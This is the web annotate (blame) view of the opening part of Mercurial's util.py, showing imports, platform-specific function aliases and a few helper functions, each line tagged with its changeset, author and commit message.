Mercurial > hg
annotate mercurial/util.py @ 36160:9fd8c2a3db5a
narrowspec: move module into core
Having support for parsing the narrow specification in core is
necessary for moving many other parts of narrow to core.
We do still want to harmonize the narrow spec with the sparse
spec. And the format needs to be documented. But this shouldn't
hold up the code moving to core.
Differential Revision: https://phab.mercurial-scm.org/D2201
author | Gregory Szorc <gregory.szorc@gmail.com> |
---|---|
date | Mon, 12 Feb 2018 16:21:34 -0800 |
parents | 7ec26f27ca83 |
children | d879aab17786 |
rev | line source |
---|---|
17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
8226
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
2 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
6 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
8227
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
12 This contains helper routines that are independent of the SCM core and |
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
13 hide platform-specific details from the core. |
1082 | 14 """ |
419
28511fc21073
[PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff
changeset
|
15 |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
16 from __future__ import absolute_import, print_function |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
17 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
18 import abc |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
19 import bz2 |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
20 import calendar |
31453
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
21 import codecs |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
22 import collections |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
23 import contextlib |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
24 import datetime |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
25 import errno |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
26 import gc |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
27 import hashlib |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
28 import imp |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
29 import itertools |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
30 import mmap |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
31 import os |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
32 import platform as pyplatform |
21907
7e5dfa00e3c2
util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents:
21857
diff
changeset
|
33 import re as remod |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
34 import shutil |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
35 import signal |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
36 import socket |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
37 import stat |
30054
8b89521a69ba
util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents:
30053
diff
changeset
|
38 import string |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
39 import subprocess |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
40 import sys |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
41 import tempfile |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
42 import textwrap |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
43 import time |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
44 import traceback |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
45 import warnings |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
46 import zlib |
3769 | 47 |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
48 from . import ( |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
49 encoding, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
50 error, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
51 i18n, |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
52 node as nodemod, |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
53 policy, |
28818
6041fb8f2da8
pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents:
28497
diff
changeset
|
54 pycompat, |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
55 urllibcompat, |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
56 ) |
3769 | 57 |
32368
008d37c4d783
base85: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32367
diff
changeset
|
58 base85 = policy.importmod(r'base85') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
59 osutil = policy.importmod(r'osutil') |
32372
df448de7cf3b
parsers: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32368
diff
changeset
|
60 parsers = policy.importmod(r'parsers') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
61 |
32201
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
62 b85decode = base85.b85decode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
63 b85encode = base85.b85encode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
64 |
31934
12aca6770046
util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31878
diff
changeset
|
65 cookielib = pycompat.cookielib |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
66 empty = pycompat.empty |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
67 httplib = pycompat.httplib |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
68 pickle = pycompat.pickle |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
69 queue = pycompat.queue |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
70 socketserver = pycompat.socketserver |
30472
277f4fe6d01a
py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents:
30471
diff
changeset
|
71 stderr = pycompat.stderr |
277f4fe6d01a
py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents:
30471
diff
changeset
|
72 stdin = pycompat.stdin |
277f4fe6d01a
py3: provide bytes stdin/out/err through util module
Yuya Nishihara <yuya@tcha.org>
parents:
30471
diff
changeset
|
73 stdout = pycompat.stdout |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
74 stringio = pycompat.stringio |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
75 xmlrpclib = pycompat.xmlrpclib |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
76 |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
77 httpserver = urllibcompat.httpserver |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
78 urlerr = urllibcompat.urlerr |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
79 urlreq = urllibcompat.urlreq |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
80 |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
81 # workaround for win32mbcs |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
82 _filenamebytestr = pycompat.bytestr |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
83 |
30876
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
84 def isatty(fp): |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
85 try: |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
86 return fp.isatty() |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
87 except AttributeError: |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
88 return False |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
89 |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
90 # glibc determines buffering on first write to stdout - if we replace a TTY |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
92 # buffering |
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
93 if isatty(stdout): |
30988
d194f0dba7ac
py3: convert the mode argument of os.fdopen to unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30975
diff
changeset
|
94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) |
30876
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
95 |
34645 | 96 if pycompat.iswindows: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
97 from . import windows as platform |
30876
3a4c0905f357
util: always force line buffered stdout when stdout is a tty (BC)
Simon Farnsworth <simonfar@fb.com>
parents:
30854
diff
changeset
|
98 stdout = platform.winstdout(stdout) |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
99 else: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
100 from . import posix as platform |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
101 |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
102 _ = i18n._ |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
103 |
29530
3239e2fdd2e2
chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents:
29455
diff
changeset
|
104 bindunixsocket = platform.bindunixsocket |
14927
2aa3e07b2f07
posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents:
14926
diff
changeset
|
105 cachestat = platform.cachestat |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
106 checkexec = platform.checkexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
107 checklink = platform.checklink |
15011
5e44e4b3a0a3
util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents:
15010
diff
changeset
|
108 copymode = platform.copymode |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
109 executablepath = platform.executablepath |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
110 expandglobs = platform.expandglobs |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
111 explainexit = platform.explainexit |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
112 findexe = platform.findexe |
35513
c4caf530b1c7
util: add a function to show the mount point of the filesystem
Matt Harbison <matt_harbison@yahoo.com>
parents:
35511
diff
changeset
|
113 getfsmountpoint = platform.getfsmountpoint |
35509
beede158ea8a
util: move getfstype() to the platform modules
Matt Harbison <matt_harbison@yahoo.com>
parents:
35460
diff
changeset
|
114 getfstype = platform.getfstype |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
115 gethgcmd = platform.gethgcmd |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
116 getuser = platform.getuser |
28027
14033c5dd261
util: enable getpid to be replaced
timeless <timeless@mozdev.org>
parents:
27785
diff
changeset
|
117 getpid = os.getpid |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
118 groupmembers = platform.groupmembers |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
119 groupname = platform.groupname |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
120 hidewindow = platform.hidewindow |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
121 isexec = platform.isexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
122 isowner = platform.isowner |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
123 listdir = osutil.listdir |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
124 localpath = platform.localpath |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
125 lookupreg = platform.lookupreg |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
126 makedir = platform.makedir |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
127 nlinks = platform.nlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
128 normpath = platform.normpath |
15488
6eff984d8e76
dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents:
15392
diff
changeset
|
129 normcase = platform.normcase |
24605
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
130 normcasespec = platform.normcasespec |
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
131 normcasefallback = platform.normcasefallback |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
132 openhardlinks = platform.openhardlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
133 oslink = platform.oslink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
134 parsepatchoutput = platform.parsepatchoutput |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
135 pconvert = platform.pconvert |
25420
c2ec81891502
util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25406
diff
changeset
|
136 poll = platform.poll |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
137 popen = platform.popen |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
138 posixfile = platform.posixfile |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
139 quotecommand = platform.quotecommand |
22245
234e4c24b980
platform: implement readpipe()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
21914
diff
changeset
|
140 readpipe = platform.readpipe |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
141 rename = platform.rename |
24692
144883a8d0d4
util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
24635
diff
changeset
|
142 removedirs = platform.removedirs |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
143 samedevice = platform.samedevice |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
144 samefile = platform.samefile |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
145 samestat = platform.samestat |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
146 setbinary = platform.setbinary |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
147 setflags = platform.setflags |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
148 setsignalhandler = platform.setsignalhandler |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
149 shellquote = platform.shellquote |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
150 spawndetached = platform.spawndetached |
17560
9ee25d7b1aed
util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents:
17537
diff
changeset
|
151 split = platform.split |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
152 sshargs = platform.sshargs |
18026
ddc0323db78b
osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents:
18013
diff
changeset
|
153 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
18868
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
154 statisexec = platform.statisexec |
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
155 statislink = platform.statislink |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
156 testpid = platform.testpid |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
157 umask = platform.umask |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
158 unlink = platform.unlink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
159 username = platform.username |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
160 |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
161 try: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
162 recvfds = osutil.recvfds |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
163 except AttributeError: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
164 pass |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
165 try: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
166 setprocname = osutil.setprocname |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
167 except AttributeError: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
168 pass |
35460
8652ab4046e4
osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents:
35145
diff
changeset
|
169 try: |
8652ab4046e4
osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents:
35145
diff
changeset
|
170 unblocksignal = osutil.unblocksignal |
8652ab4046e4
osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents:
35145
diff
changeset
|
171 except AttributeError: |
8652ab4046e4
osutil: add a function to unblock signals
Jun Wu <quark@fb.com>
parents:
35145
diff
changeset
|
172 pass |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
173 |
6470
ac0bcd951c2c
python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
6339
diff
changeset
|
174 # Python compatibility |
3769 | 175 |
15656
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
176 _notset = object() |
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
177 |
27015
341cb90ffd18
util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents:
26847
diff
changeset
|
178 # disable Python's problematic floating point timestamps (issue4836) |
341cb90ffd18
util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents:
26847
diff
changeset
|
179 # (Python hypocritically says you shouldn't change this behavior in |
341cb90ffd18
util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents:
26847
diff
changeset
|
180 # libraries, and sure enough Mercurial is not a library.) |
341cb90ffd18
util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents:
26847
diff
changeset
|
181 os.stat_float_times(False) |
341cb90ffd18
util: disable floating point stat times (issue4836)
Matt Mackall <mpm@selenic.com>
parents:
26847
diff
changeset
|
182 |
15656
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
183 def safehasattr(thing, attr): |
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
184 return getattr(thing, attr, _notset) is not _notset |
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
185 |
35900
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
186 def _rapply(f, xs): |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
187 if xs is None: |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
188 # assume None means non-value of optional data |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
189 return xs |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
190 if isinstance(xs, (list, set, tuple)): |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
191 return type(xs)(_rapply(f, x) for x in xs) |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
192 if isinstance(xs, dict): |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
193 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items()) |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
194 return f(xs) |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
195 |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
196 def rapply(f, xs): |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
